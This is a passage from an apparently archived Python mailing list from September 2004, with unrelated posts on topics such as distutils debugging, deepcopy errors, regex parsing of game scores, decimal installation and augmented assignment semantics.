>> oh ... and people have died doing that ...
> 
> That was my next question :-).  How did you manage?

He didn't.  You missed the funeral.

-- 
Chuck F (cbfalconer at yahoo.com) (cbfalconer at worldnet.att.net)
   Available for consulting/temporary embedded and systems.
   <http://cbfalconer.home.att.net>  USE worldnet address!



From firstname at lastname.pr1v.n0  Thu Sep  2 16:40:52 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Thu, 2 Sep 2004 22:40:52 +0200
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
Message-ID: <kg08hc.bgc1.ln@via.reistad.priv.no>

In article <41376B82.C6A202FC at yahoo.com>,
CBFalconer  <cbfalconer at worldnet.att.net> wrote:
>Peter Hansen wrote:
>> Brian {Hamilton Kelly} wrote:
>>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:
>> 
>>>> There's a story about why railroad tracks are spaced the way they are.
>>>
>>> Is this the one about two Roman horses' arses?  If so, it also accounts
>>> for the physical dimensions of the Space Shuttle's boosters.
>> 
>> A quick search using Google will show that while there is a
>> certain amount of truth in the original story, most of the
>> details are wrong, and the final bit about the booster rockets
>> is unsubstantiated.  But it's still a cute story.
>
>I know nothing about those stories, but it seems reasonable to me
>that the boosters would have been designed to be transportable by
>railroad, which ties their dimensions to track gauge.

ISTR there was some tunnel NASA had to relate to if they wanted
to move the goods from production to launch. But that may have been
earlier products. 

But rail tunnels are also descended from the same asses, so to speak. 

-- mrr



From aleaxit at yahoo.com  Wed Sep 22 05:18:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 11:18:35 +0200
Subject: python vs c#
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<mailman.3529.1095642828.5135.python-list@python.org>
	<1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com>
	<41513aac$0$285$edfadb0f@dread12.news.tele.dk>
Message-ID: <1gkih9r.pfgqukvpt1rcN%aleaxit@yahoo.com>

Max M <maxm at mxm.dk> wrote:

> Alex Martelli wrote:
> 
> > If you must troll, at least troll with some skill, "julio".  Better
> > still, as many have already suggested, just go away, thanks.
> 
> Well, not to feed the troll, but there is a few relevant points in it's
> posting.

(Please, please, please: "its", not "it's"... pretty please...)


> When writing big systems, it is nice to be able to have an enviroment to
> code in. Eg. an IDE.

Many people agree with you, enough to provide a commercial audience for
WingIDE, BlackAdder, Kommodo, ActiveState's addin to Microsoft Visual
Studio that lets you use VS as an IDE for Python, ...; and open-source
constituencies for plugins letting you use Eclipse, as well as self
contained IDEs.  Nobody forces you to use one, but if you like them,
they're there.


> self-educating system would be of a big help. A system where 
> introspection was well supported.

I've never used any language with better introspection facilities than
Python, not even Lisp.

> They do it in Z3 by making the programmer make more work, but it could
> probably have been nice if the language was able to do more of the work
> in that regards.

The day the _language_ starts being designed to help IDEs to the
detriment of programmers who prefer not to use them, is the day I switch
to Ruby, Smalltalk, Common Lisp, Dylan, or ANY other language who keeps
being designed for human beings, not for tools.

> An IDE that could make dynamic introspection on a system like that, 
> would be of a big help. I think that static typed systems might be 
> easier to write an introspective IDE for. This is an issue when the 
> system get's a lot bigger than the language.

I see your point (and a solid type system, like Haskell's, would surely
be more helpful in this regard than wobbly ones like Java's or C#'s).
But I consider the advantages of runtime typing to vastly surpass the
advantages of the simplification that compiletime typing can give to
compilers and other static analysis tools (IDEs included).

If you disagree, and crave compiletime typing, there is a huge array of
compiletime typed languages for you to choose among, including ones such
as bobo, designed to use compiletime typing but otherwise offer some
other Python advantages.  The only sensible course of action for a
compiletime typing fan would seem to be to try out any or all of those
other 1000 languages, rather than fighting to foist such typing onto
those of us who consider runtime typing superior, and indeed one of
Python's greatest strengths.


Alex


From replaceafill at yahoo.com  Thu Sep 23 22:11:56 2004
From: replaceafill at yahoo.com (Douglas Douglas)
Date: Thu, 23 Sep 2004 19:11:56 -0700 (PDT)
Subject: Parsing HTML document, how?
In-Reply-To: <pan.2004.09.24.02.00.15.20428@yahoo.com>
Message-ID: <20040924021156.15934.qmail@web21322.mail.yahoo.com>

Hi.

You should check this link:

http://www.diveintopython.org/html_processing/index.html

It might give you an idea. I hope it helps you.

Regards, Douglas.


		
__________________________________
Do you Yahoo!?
Yahoo! Mail - 50x more storage than other providers!
http://promotions.yahoo.com/new_mail


From 2002 at weholt.org  Tue Sep 14 13:42:03 2004
From: 2002 at weholt.org (Thomas)
Date: Tue, 14 Sep 2004 19:42:03 +0200
Subject: Simple XMLRPC-server with http/multicast  cabilities
Message-ID: <2paek0l0609q7r2k5ts6b0vl51nbtb9s4g@4ax.com>

Hi,

Sorry for the stupid subject, but here it goes:

I need a simple Webserver which can 

1. serve xmlrpc-methods
2. send multicast packets on local network to get response from a
similar server acting as master on the given network
3. somehow serve a single file using simple http/webserver methods to
clients

Details:

I'm got several servers which a want to monitor. There is one master
server on my workstation holding global configuration data and one
slave server on each fileserver. When started the slave server sends a
multicast packet on the local network and gets a response from the
server acting as master. Then it uses xmlrpc to fetch config-data. The
master can send it a command to scan it's filesystem using xmlrpc and
the slave server will provide a simple report available as a
webpage.The master server can collect reports from all of the slave
servers and present this to the user on the workstation. 

I want to use modules in the standard python distro, ie.
SimpleXMLRPCServer, but if I have to I can also use Twisted ( but I'd
prefer to use pure Python-distro modules in the slave servers to
reduce installation size etc. )

Any clues on how to do this would be highy appreciated

Best regards,
Thomas


From jani at persian.com  Sun Sep 19 17:28:35 2004
From: jani at persian.com (Jani Yusef)
Date: 19 Sep 2004 14:28:35 -0700
Subject: need help defining Constant memory requirement
References: <d3be1825.0409182100.612a5dcb@posting.google.com>
	<mailman.3507.1095603871.5135.python-list@python.org>
Message-ID: <d3be1825.0409191328.458dc60b@posting.google.com>

Heiko Wundram <heikowu at ceosg.de> wrote in message news:<mailman.3507.1095603871.5135.python-list at python.org>...
> Am Sonntag, 19. September 2004 07:00 schrieben Sie:
> > I am sure the solution is O(n) since the list must
> > only iterated once and the dictionary is O(1), correct?
> > Thanks for the help!!
> 
> In case you haven't found a solution yet, think about the properties of the 
> sum of the numbers of the sequence which is n*(n-1)/2 + x with 0 < x < n, 
> where finding out why this equation holds and what x is is up to you.
> 
> (n being defined as in your example, a sequence having n elements with the 
> elements in 1..n-1 and only one repeated)
> 
> Heiko.

Got it!! Thanks for your help.
Here is my revised and working code
            i=[1,2,3,4,5,6,3]
            s0=len(i)*(len(i)+1)/2 
            s1=0
            for a in i:
                sum1+=a 
            return (sum1-sum0)%len(i)
I think my main malfunction was with thinking that this was mor
ecomplex tna it was. By refocusing on the simple problem statement as
suggested the solution came easier. Thanks again.


From carribeiro at gmail.com  Sat Sep 18 17:01:13 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 18 Sep 2004 18:01:13 -0300
Subject: So I guess PyUI is long abandonded? What else is there?
In-Reply-To: <cihu17$c4b$1@wheel2.two14.net>
References: <cihu17$c4b$1@wheel2.two14.net>
Message-ID: <864d3709040918140135a95917@mail.gmail.com>

On Sat, 18 Sep 2004 18:16:07 +0000 (UTC), Martin Maney <maney at pobox.com> wrote:
> So the biggest part of the GUI is mostly done: the board and such
> display, scroll, etc.  Next up are the mostly non-graphic bits, the
> text and numbers section of the display.  I guess this part would have
> been more or less easy in wx, but PyGame offers only very low-level
> primitives.  PyUI was the most promising package I found, but it seems
> to be long dead, judging by the lack of life in its mailing list,
> untouched bug list, and general brokenness.  The fact that the last
> several releases are all zip archives with names that include "win32"
> reinforces my feeling that this is not going to get me anywhere useful
> for a project that has to work on both MS and X11 platforms.  :-(

I've checked PyUI right now, and it seems that there is a release
numbered "1.0" - which is a sign that it must have reached a somewhat
stable stage. The win32 ZIP file that I've downloaded does not contain
any windows specific dll, pyd or exe file, but only pure Python code.
It includes renderers for OpenGL and PyGame itself, which are cross
platform, as far as I know. Are your sure that it will not work for
you? What is the latest version you tried?

Best regards,

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From mmalaterNOSP at Mnycap.rr.com  Thu Sep 23 20:00:10 2004
From: mmalaterNOSP at Mnycap.rr.com (Mathieu Malaterre)
Date: Fri, 24 Sep 2004 00:00:10 GMT
Subject: distutils help: DISTUTILS_DEBUG
In-Reply-To: <8QG4d.8942$yg.8573@twister.nyroc.rr.com>
References: <8QG4d.8942$yg.8573@twister.nyroc.rr.com>
Message-ID: <esJ4d.8975$yg.4987@twister.nyroc.rr.com>

What is the purpose of DISTUTILS_DEBUG, if I set it to one, I cannot get 
anything to run ?

For instance:

"""
from distutils.core import setup

import glob

thefiles = []
for afile in glob.glob('datadir/*'):
     if afile.endswith('.not'): continue
     thefiles.append(afile)

print "Packaging up", thefiles

setup(name='justdata', data_files = [ [ 'foodir', thefiles ] ] )
"""

Here's an example of how this works:

[alex at lancelot tryp]$ ls datadir
aa.yes  bb.not  cc.yes
[alex at lancelot tryp]$ python setup.py bdist


Then try it with

export DISTUTILS_DEBUG=1

I get:

Packaging up ['bin/libgdcmijpeg8.so', 'bin/libgdcmijpeg12.so', 
'bin/libgdcmljpeg.so', 'bin/libgdcm.so', 'bin/libvtkgdcm.so', 
'bin/_gdcm.so', 'bin/libvtkgdcmPython.so']
Distribution.parse_config_files():
options (after parsing config files):
no commands known yet
options (after parsing command line):
option dict for 'bdist' command:
   {}
running bdist
Distribution.get_command_obj(): creating 'bdist' command object
Distribution.get_command_obj(): creating 'build' command object
Distribution.get_command_obj(): creating 'bdist_dumb' command object
bdist.run: format=gztar, command=bdist_dumb, rest=[]
running bdist_dumb
running build
Distribution.get_command_obj(): creating 'install' command object
installing to build/bdist.linux-i686/dumb
running install
pre-finalize_{unix,other}:
   prefix: None
   exec_prefix: None
   home: None
   install_base: None
   install_platbase: None
   root: build/bdist.linux-i686/dumb
   install_purelib: None
   install_platlib: None
   install_lib: None
   install_headers: None
   install_scripts: None
   install_data: None
   compile: None
Traceback (most recent call last):
   File "setup.py", line 12, in ?
     setup(name='justdata', data_files = [ [ 'foodir', thefiles ] ] )
   File "/usr/lib/python2.2/distutils/core.py", line 138, in setup
     dist.run_commands()
   File "/usr/lib/python2.2/distutils/dist.py", line 902, in run_commands
     self.run_command(cmd)
   File "/usr/lib/python2.2/distutils/dist.py", line 922, in run_command
     cmd_obj.run()
   File "/usr/lib/python2.2/distutils/command/bdist.py", line 135, in run
     self.run_command(cmd_name)
   File "/usr/lib/python2.2/distutils/cmd.py", line 330, in run_command
     self.distribution.run_command(command)
   File "/usr/lib/python2.2/distutils/dist.py", line 922, in run_command
     cmd_obj.run()
   File "/usr/lib/python2.2/distutils/command/bdist_dumb.py", line 81, 
in run
     self.run_command('install')
   File "/usr/lib/python2.2/distutils/cmd.py", line 330, in run_command
     self.distribution.run_command(command)
   File "/usr/lib/python2.2/distutils/dist.py", line 921, in run_command
     cmd_obj.ensure_finalized()
   File "/usr/lib/python2.2/distutils/cmd.py", line 112, in ensure_finalized
     self.finalize_options()
   File "/usr/lib/python2.2/distutils/command/install.py", line 252, in 
finalize_options
     self.dump_dirs("pre-finalize_{unix,other}")
   File "/usr/lib/python2.2/distutils/command/install.py", line 350, in 
dump_dirs
     val = getattr(self, opt_name)
   File "/usr/lib/python2.2/distutils/cmd.py", line 107, in __getattr__
     raise AttributeError, attr
AttributeError: no_compile


Could someone please fix the documentation saying that one should not 
use it.

Thanks
Mathieu

Mathieu Malaterre wrote:
> Hello,
> 
>     I thought this would be easy but I guess I didn't get the distutil 
> feeling. I am trying to write a setup for install my package but I don't 
> understand how to do that.
> 
> organisation:
> 
> setup.py
>         /bin/
>              gdcm.py
>              _gdcm.so
>              libvtkgdcmPython.so
>         /gdcmPython/
>                     gdcm.pth
> 
> 
> How do you specify setup you want to install library ? Do you use 
> 'data_files' ? Same thing for gdcm.pth is this a 'data_files' also ?
> 
> Thanks
> Mathieu
> 



From aleaxit at yahoo.com  Thu Sep 23 09:38:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 15:38:03 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<7xwtyqsmvu.fsf@ruckus.brouhaha.com>
	<cijurc$4gd$02$1@news.t-online.com>
	<9ap1l015t6qgcq5s8hil71mrll9e71pnm7@4ax.com>
Message-ID: <1gkkodq.sins5z1hdbv0uN%aleaxit@yahoo.com>

Richard Hanson <me at privacy.net> wrote:

> Peter Otten wrote:
> 
> > Paul Rubin wrote:
> > 
> > > I haven't tried 2.4 yet.  After
> > 
> > The auther is currently working on an installer, but just dropping it into
> > 2.3's site-packages should work, too.
> 
> I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir.
> Seems to work. Any gotchas with this route?

None that I know of.  Indeed, the author originally wanted to have that
approach as the one and only way to use decimal with 2.3, I just made
myself a nuisance to him insisting that many inexperienced Pythonistas
would have been frigthened to even try that, so finally he packaged
things up when he realized it would take less of his time than putting
up with yet another whining email from me;-).


Alex


From aleaxit at yahoo.com  Mon Sep  6 14:45:40 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 20:45:40 +0200
Subject: Lager'd Statistics on language migration
In-Reply-To: <864d37090409061127211c54cb@mail.gmail.com>
References: <2ae25c6b.0409050132.4ce24330@posting.google.com>
	<1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com>
	<864d37090409060733cc54023@mail.gmail.com>
	<1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com>
	<864d37090409061127211c54cb@mail.gmail.com>
Message-ID: <F30D63D1-0034-11D9-A6A1-000A95EFAE9E@yahoo.com>


On 2004 Sep 06, at 20:27, Carlos Ribeiro wrote:

> On Mon, 6 Sep 2004 17:40:44 +0200, Alex Martelli <aleaxit at yahoo.com> 
> wrote:
>> Can you point out some specific behavior, some language-design choice,
>> where Ruby is farther away from Perl than Python is?
>
> Ok, I deserve it :-) Short answer -- I think Ruby's object-oriented
> structure is closer to Python's than Perl's. I don't know many

Agreed, but while this may meen dist(Ruby,Python)<distr(Ruby,Perl) in 
some sense, it definitely has no implications re your thesis that 
dist(Ruby,Perl)>dist(Python,Perl).

> all. So in this sense I think Ruby is closer to Python than it is to
> Perl.
>
> I hope it sounded convincing ;-)

Sure, and I wouldn't argue either pro or con THIS thesis, but what you 
originally stated was different: you were comparing distances of the 
other two languages from Perl, not of the other two from Ruby!


Alex



From luka.milkovic at public.srce.hr  Sat Sep 11 14:06:41 2004
From: luka.milkovic at public.srce.hr (Luka Milkovic)
Date: Sat, 11 Sep 2004 20:06:41 +0200
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
Message-ID: <pan.2004.09.11.18.06.40.754033@public.srce.hr>

On Sat, 11 Sep 2004 19:01:35 +0200, Diez B. Roggisch wrote:



> The problem is the trailing ' in your number - that of course can't be
> converted. And I see that the  number 6573 has similar problems - it has a
> leading '.


Yes, I know that, but I don't understand why it works normally for lists
under 350 bytes? It works perfectly... 

> So your splitting code does not work, or your data is malformed -
> without more information, I can't say anything about that, but it seems
> to me the latter is the case.

Data is actually not malformed, because before splitting it looks normal
(I mean, no ' or double quotes or other strange characters). The splitting
code is the problem, and I don't know how to fix it. I mean, if it would
be wrong, the smaller lists wouldn't work either, but it seems the
problems occur with big lists.



From aleaxit at yahoo.com  Sun Sep 19 18:33:17 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 00:33:17 +0200
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<7xfz5ein0h.fsf@ruckus.brouhaha.com>
	<1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>
	<7xwtyqvyh5.fsf@ruckus.brouhaha.com>
Message-ID: <1gkdyki.tb9xn7vzzikrN%aleaxit@yahoo.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:

> aleaxit at yahoo.com (Alex Martelli) writes:
> > Yes, but applying rational arithmetic by default might slow some
> > computations far too much for beginners' liking!
> 
> I dunno, lots of Lisp dialects do rational arithmetic by default.

And...?  What fractions of beginners get exposed to Lisp as their first
language just love the resulting precision/speed tradeoff...?  I think
Paul Graham's "Worse is Better" article applies quite well here...


> > Well, you can pretty easily use constructive reals with Python, see for
> > example <http://more.btexact.com/people/briggsk2/XR.html> -- that's a
> > vastly vaster set than just algebraic numbers.  If we DO want precision,
> > after all, why should sqrt(5) be more important than log(3)?
> 
> I don't know that it's generally tractable to do exact computation on
> constructive reals.  How do you implement comparison (<, >, ==)?

Well, if you can generate decimal representations on demand (and you'd
better, as the user might ask for such output at any time with any
a-priori unpredictable number of digits), worst case you can compare
them lexicographically, one digit at a time, until you find a different
digit (assuming identical signs and integer parts) -- except that equal
numbers would not terminate by this procedure.  Briggs' implementation
finesses the issue by comparing no more than k significant digits, 1000
by default;-)


Alex


From daniel at syrinx.net  Tue Sep  7 10:49:42 2004
From: daniel at syrinx.net (Daniel Ellison)
Date: Tue, 07 Sep 2004 10:49:42 -0400
Subject: Question: tools for business apps development
In-Reply-To: <mailman.2980.1094568177.5135.python-list@python.org>
References: <mailman.2847.1094238878.5135.python-list@python.org>	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
Message-ID: <2q5vvrFrq42gU2@uni-berlin.de>

Ksenia Marasanova wrote:

>> And web-based apps are thought to be limited, not interactive
>> or responsive enough for the job (the dependence on heavy Javascript
>> programming doesn't help it either).
>>
> 
> One of possibilities is to use Flash (in a browser) for GUI. I am 
> thinking about using it for some project that also needs more 
> interactivity: Flash for frontend, Python for backend (Web service using 
> XMLRPC).
> You can use Flash IDE for fast GUI builing, and code the flow of your 
> GUI in Action Script files, using your favorite editor.
> The sad part of this approach is that you can't program everything in 
> Python. The nice part is the maintainability (no install, automatically 
> download of the latest version).
> 
> But these are my thoughts... I wonder what people say who actually did 
> it :)
> 
> Ksenia.
> 

It's actually a very effective solution, in my experience. You get a 
cross-platform, very smart client talking to the server of your choice. 
When I used this approach (pre-Python-discovery) I wrote the server in 
Java and all messages were exchanged as XML. Now I would make the same 
choice as you: Python server using XML-RPC.

Dan


From robmccrea at spaamadelphiaspremoveam.net  Mon Sep 13 17:26:51 2004
From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea)
Date: Mon, 13 Sep 2004 17:26:51 -0400
Subject: the FCNTL module is deprecated (fixed!)
In-Reply-To: <656it3cb.fsf@telus.net>
References: <4oidneSCbKpfLNjcRVn-iw@adelphia.com>
	<QcGdncYR7p6SWNjcRVn-ug@adelphia.com> <656it3cb.fsf@telus.net>
Message-ID: <laWdnRuka_MVjdvcRVn-iQ@adelphia.com>

Lenard Lindstrom wrote:

> Rob McCrea <robmccrea at spaamadelphiaspremoveam.net> writes:
> 
>>I wrote:
>>
>>>Hi all,
>>
>>"""start testhelp.py"""
>>
>>class Object:
>>     def __init__(self):
>>         pass
>>
>>help(Object)
>>
>>"""end testhelp.py"""
>>
>>  > C:\PYTHON23\lib\fcntl.py:7: DeprecationWarning: the FCNTL module is
>>
>>>deprecated;
>>>please use fcntl
>>>  DeprecationWarning)
>>>Help on class Object in module __main__:
>>>class Object
>>> |  class Object is an empty testing class
>>> |
>>> |  Methods defined here:
>>> |
>>> |  __init__(self)
>>>"""end output"""
>>
> I am running Windows 98 and do not get the deprecation warning. After
> some searching I chased the problem down to the PYTHONCASEOK environment
> variable, which is not defined on my system.
> 
> Lenard Lindstrom
> <len-l at telus.net>

Thanks very much, Lenard, It's fixed.

Rob


From aleaxit at yahoo.com  Fri Sep 10 02:17:44 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 10 Sep 2004 08:17:44 +0200
Subject: deepcopy raises TypeError for method/function?
References: <Xns955F6FB13D97AOKB@130.133.1.4>
	<1gjvbxx.1am7i1jvn6ht7N%aleaxit@yahoo.com>
	<Xns955FCC41651BEOKB@130.133.1.4>
Message-ID: <1gjw0v9.7a90vs1rz9h1pN%aleaxit@yahoo.com>

OKB (not okblacke) <BrenBarn at aol.com> wrote:

> Alex Martelli wrote:
> 
> >>       Does anyone have any pointers on this?  It seems that
> >>       certain types 
> >> are safe to deepcopy (even if they're not actually copied) whereas
> >> others are not.  Do I just have to manually typecheck for
> >> functions and methods?  Are there any other types that might raise
> >> such an error? 
> > 
> > You can use copy_reg to register an identity function as the way to
> > 'copy' function and methods, if that floats your boat.  And sure,
> > there are other types that raise errors, imagine copying a file
> > object, a socket, ...!
> 
>       Wasn't someone just saying on another thread, though, that copy
> doesn't "officially" use copy_reg?

Right, it was me -- I was carping about the inconsistency between [a]
claiming that if something ain't in the docs it don't count, [b] telling
people to look in the sources as the ultimate reference.  We're doing
both things, holding both contradictory stances at once, and I don't
like that:-(.  This one bug in the docs we'll fix, of course, but the
overall strategy remains a problem.

> 
>       Anyway, I guess my real question is, is there any safe way to do
> something like
> 
> for a in someList:
>       b = copy.deepcopy(a)
> 
>       . . . without having to know ahead of time what kinds of objects
> are in someList?  I could maybe use try/except to catch failure, but if

Failure is surely possible, since not all types are copyable.  Yes, you
can use a try/except -- but if you enter the except clause the copy
won't have happened, so if you need it you're in trouble.

> deepcopy fails like it did with methods, will it always throw a 
> TypeError, or might it raise some other kind of error?  Alternatively,

TypeError would be normal, but I don't think it can be guaranteed.
Consider...:

In [1]: class X(object):
   ...:     def __init__(self): self.xxx = 44
   ...:     def __getstate__(self): return self.xx  # oops
   ...:     

Here, a copy.deepcopy(X()) will end with AttributeError, because of the
oops... for different kind of oopses you could surely have all kinds of
errors.  'except Exception:" thus seems sounder.

> is there a way to tell without actually attempting the deepcopy whether
> it will be able to copy the object or not?

None I can think of, sorry.


Alex


From madsurfer2000 at hotmail.com  Sun Sep 12 16:25:34 2004
From: madsurfer2000 at hotmail.com (madsurfer2000 at hotmail.com)
Date: 12 Sep 2004 13:25:34 -0700
Subject: Alternatives for the CSV module
Message-ID: <ci2bbu$pt@odak26.prod.google.com>

Skip Montanaro wrote:
>
> Well, I might disagree with you there.  By all reasonable accounts,
> delimited files containing multi-character delimiters are not CSV
files, at
> least not as operationally defined by Excel (which I mention only
because
> it's probably the largest producer and consumer of such files).
>

I agree. I should have called it delimited files.

>
> That's pretty generic.  How about this (untested):
>
> ...
>
> The goal is of course to pick a delimiter which won't appear in the
file,
> hence the Ctl-A.
>

Thanks for the reply. I was thinking about a similar solution, and
maybe that's easier than searching for other parsers.



From M.Waack at gmx.de  Sun Sep 19 09:12:04 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Sun, 19 Sep 2004 15:12:04 +0200
Subject: Python binaries for Solaris, HP-UX
References: <uk6urzzse.fsf@yahoo.co.uk> <doet12-868.ln1@valpo.de>
	<uisab1stx.fsf@yahoo.co.uk> <973u12-rta.ln1@valpo.de>
	<u3c1eqvxd.fsf@yahoo.co.uk>
Message-ID: <46d022-k59.ln1@valpo.de>

Paul Moore wrote:

> The binary distribution is a compressed
> depot file

which in fact is a simple tar file or shell archive (I have no access
to a HP box from home and I can't remember exactly). Thus you can
unpack the depot file wherever you want, correct the directory
layout and use it. Of course this works only for location
independent (ie. well designed) packages. Python is one of these. 

Mathias


From john at grulic.org.ar  Fri Sep 10 13:47:27 2004
From: john at grulic.org.ar (John Lenton)
Date: Fri, 10 Sep 2004 14:47:27 -0300
Subject: Using re to get data from text file
In-Reply-To: <pan.2004.09.10.14.29.26.175980@yahoo.com>
References: <pan.2004.09.10.14.29.26.175980@yahoo.com>
Message-ID: <20040910174727.GC9380@grulic.org.ar>

On Fri, Sep 10, 2004 at 10:29:27AM -0400, Jocknerd wrote:
> I'm a Python newbie and I'm having trouble with Regular Expressions when
> reading in a text file.  Here is a sample layout of the input file:
> 
> 09/04/2004  Virginia              44   Temple               14
> 09/04/2004  LSU                   22   Oregon State         21
> 09/09/2004  Troy State            24   Missouri             14
> 
> As you can see, the text file contains a list of games.  Each game has a
> date, a winning team, the winning team's score, the losing team, and the
> losing team's score.  If I set up my program to import the data with fixed
> length format's its no problem.  But some of my text files have different
> layouts.  For instance, some only have one space between a team name and
> their score.
> 
> [...]
> 
> I've tried this:
> 
> while True:
>     line = file.readline ()
>     if not line: break
>     game = {}
>     datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})')
> 
> Here's where I get stuck.  What do I do from here?  I just don't know how
> to import the text and assign it to the proper fields using the re module.

how about this:

    import re, time, datetime

    class Game(object):
        def __init__(self, d, t1, t2, s1, s2):
            self.date = d
            self.team1 = t1
            self.team2 = t2
            self.score1 = s1
            self.score2 = s2

        def __str__(self):
            return 'On %s, %s beat %s %s-%s' % (self.date,
                                                self.team1,
                                                self.team2,
                                                self.score1,
                                                self.score2)

    class Games(Game):
        _re = re.compile(r'([\d/]+)'
                         + r'\s+(\w[\w\s]+\w)\s+(\d+)' * 2
                         + r'\s*$')
        def __init__(self, filename):
            self.games = []
            for line in file('games.csv'):
                match = re.search(self._re, line)
                if match:
                    d, t1, s1, t2, s2 = match.groups()
                    d = time.strptime(d, '%m/%d/%Y') # m/d/Y! yecch!
                    d = datetime.date(*d[:3])
                    self.games.append(Game(d, t1, t2, s1, s2))

    if __name__ == '__main__':
        import sys
        for i in Games(sys.argv[1]).games:
            print i

woops! looks like I got carried away.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
Of course you have a purpose -- to find a purpose.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040910/d3ed24f6/attachment.sig>

From albalmer at att.net  Thu Sep  2 19:13:20 2004
From: albalmer at att.net (Alan Balmer)
Date: Thu, 02 Sep 2004 16:13:20 -0700
Subject: Xah Lee's Unixism
References: <41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
Message-ID: <h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com>

On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad"
<john.thingstad at chello.no> wrote:

>well documented at the time. Linux Pauling started out with minix and then
>went on to make a (mostly) posix compliant unix.

Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't
think the latter had much to do with Linux.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From mauriceling at acm.org  Wed Sep 29 05:23:28 2004
From: mauriceling at acm.org (Maurice LING)
Date: Wed, 29 Sep 2004 09:23:28 GMT
Subject: embedding python in python
Message-ID: <415a7f0b$1@news.unimelb.edu.au>

Hi,

anyone had any experiences in embedding python in python?

I've tried to do this but it doesn't work.

eval("from Tkinter import *")

Thanks
maurice


From aleaxit at yahoo.com  Mon Sep 13 03:05:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 13 Sep 2004 09:05:04 +0200
Subject: Newbie: tuple list confusion.
References: <20040912195529.03437.00000338@mb-m27.aol.com>
	<fj91d.406414$gE.252547@pd7tw3no>
Message-ID: <1gk1n7i.2du2ju1d38wwgN%aleaxit@yahoo.com>

Elaine Jackson <elainejackson7355 at home.com> wrote:

> In addition to what you've found out already, there is another difference
> that, to my mind, is of paramount importance; namely, the fact that an
> augmented assignment (a+=b) is actually not an assignment at all. An
> actual assignment (a=a+b) binds the name "a" to a new object, while a
> so-called augmented assignment mutates the object a itself.

Ah, careful there: augmented assignment (nothing "so-called" about it;-)
mutates the object and THEN assigns ("re-binds" if you want to get
technical) the name or other slot holding the object.

For example...:

>>> L=[]
>>> T=(L, L)
>>> T[0] += [1]
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: object does not support item assignment

If it were true that the += "is actually not an assignment" this
behavior and error message would be impossible.  It _IS_ an assignment,
_augmented_ by the fact that the object in question (if mutable) is also
supposed to mutate.


Regarding the fact that the mutation takes place before the assignment,
this is the kind of behavior details you can check by writing a simple
dummy class with the appropriate special method doing a print. For
example:

>>> class X:
...   def __iadd__(self, other):
...       print 'iadd running'
...       return self
... 
>>> T = (X(), X())
>>> T[0] += 23
iadd running
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: object does not support item assignment
>>> 

See?  First we see the message "iadd running", so __iadd__ is executing;
THEN, the error message about assignment to item not being supported.

This is important because the object DOES get mutated even though the
assignment fails.  If you check the L in the previous fragment, indeed,
you'll see it's now [1], not [] any more.


Yes, I do agree these subtleties are potentially confusing -- a pity,
because Python's foremost strength is mostly to AVOID being confusing.
